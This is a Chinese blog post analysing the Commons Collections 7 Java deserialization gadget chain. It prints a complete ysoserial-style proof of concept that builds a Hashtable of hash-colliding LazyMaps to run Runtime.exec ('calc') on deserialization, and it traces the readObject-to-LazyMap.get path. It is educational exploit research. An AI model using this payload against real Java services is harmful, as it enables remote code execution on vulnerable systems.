java7安全站点_Java安全之Commons Collections7分析

Java安全之Commons Collections7分析

0x00 前言

本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的。在后来随着后面各位大佬们挖掘利用链,CC8,9,10的链诞生,也被内置到ysoserial里面。在该链中其实和CC6也是类似,但是CC7利用链中是使用Hashtable作为反序列化的入口点。

0x01 POC分析

package com.test;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.LazyMap;

import java.io.*;

import java.lang.reflect.Field;

import java.util.HashMap;

import java.util.Hashtable;

import java.util.Map;

public class cc7 {

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

// Reusing transformer chain and LazyMap gadgets from previous payloads

final String[] execArgs = new String[]{"calc"};

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

final Transformer[] transformers = new Transformer[]{

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod",

new Class[]{String.class, Class[].class},

new Object[]{"getRuntime", new Class[0]}),

new InvokerTransformer("invoke",

new Class[]{Object.class, Object[].class},

new Object[]{null, new Object[0]}),

new InvokerTransformer("exec",

new Class[]{String.class},

execArgs),

new ConstantTransformer(1)};

Map innerMap1 = new HashMap();

Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);

lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);

lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable

Hashtable hashtable = new Hashtable();

hashtable.put(lazyMap1, 1);

hashtable.put(lazyMap2, 2);

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");

iTransformers.setAccessible(true);

iTransformers.set(transformerChain,transformers);

// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// Needed to ensure hash collision after previous manipulations

lazyMap2.remove("yy");

ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));

objectOutputStream.writeObject(hashtable);

objectOutputStream.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));

objectInputStream.readObject();

// return hashtable;

}

}

这里依旧是提取重要代码出来去做了一个简化。

抛去和前面重复的部分,下面分为三段代码去进行分析。

Map innerMap1 = new HashMap();

Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);

lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);

lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();

hashtable.put(lazyMap1, 1);

hashtable.put(lazyMap2, 2);

在这段代码中,实例化了两个HashMap,并对两个HashMap使用了LazyMap将transformerChain和HashMap

绑定到一起。然后分别添加到Hashtable中, 但是前面看到的都是使用一次,为什么这里需要重复2次重复的操作呢?

下面来分析一下。

Hashtable的reconstitutionPut方法是被遍历调用的,

ba64041a1b743d24a181d1ebe1c227c4.png

88841c1c1f65338f2206a171588067b9.png

第一次调用的时候,并不会走入到reconstitutionPut方法for循环里面,因为tab[index]的内容是空的,在下面会对tab[index]进行赋值。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。这也是为什么要调用两次put的原因。

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");

iTransformers.setAccessible(true);

iTransformers.set(transformerChain,transformers);

lazyMap2.remove("yy");

前面的三段代码其实就是为了防止在序列化的时候,本地进行命令执行,前面先定义好一个空的,后面再使用反射将他的iTransformers进行替换。

其实最主要的是后面的lazyMap2.remove这个步骤。至于为什么需要在最后面移除该值,其实在LazyMap的get方法里面就可以看到。

b1a689ae320a0d7e4b5adb1c2cfd7ade.png

如果不移除该方法就会走不进该判断条件的代码块中。而后面也会再调用一次put方法。

0x02 POC调试

依旧是在readobjetc的复写点打一个断点,这里面用到的是Hashtable的readobjetc作为入口点。

78b87eefa21e15eb37eb87f50207c708.png

在其中会调用到reconstitutionPut方法,跟进一下。

273478ba982edb8d6fd1e6968cf5ada2.png

前面说过,第一遍调用的时候,tab[index]是为空的,需要跟进到第二步的执行里面去查看。

54f2435fe020bdf6b7702293908d7df2.png

在第二遍执行的时候就会进行到for循环里面,并且调用到key的equals方法。跟进一下该方法。

4a7557b2e497eb9078acf159354fdc8b.png

AbstractMapDecorator的equals方法会去调用this.map的equals。跟进一下。

1fb01fe99799aeebcc1c00f84be9a447.png

下面代码还会继续调用m.get方法,在这里的m为LazyMap对象。

在最后就来到了LazyMap.get这一步,其实就比较清晰了。后面的和前面分析的几条链都一样。这里就不做分析了。

27ef002e8b5572de8cb7a7181272c920.png

0x03 结尾

分析完了这一系列的CC链,后面就打算分析Fastjson、shiro、weblogic等反序列化漏洞,再后面就是开始写反序列化工具集了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值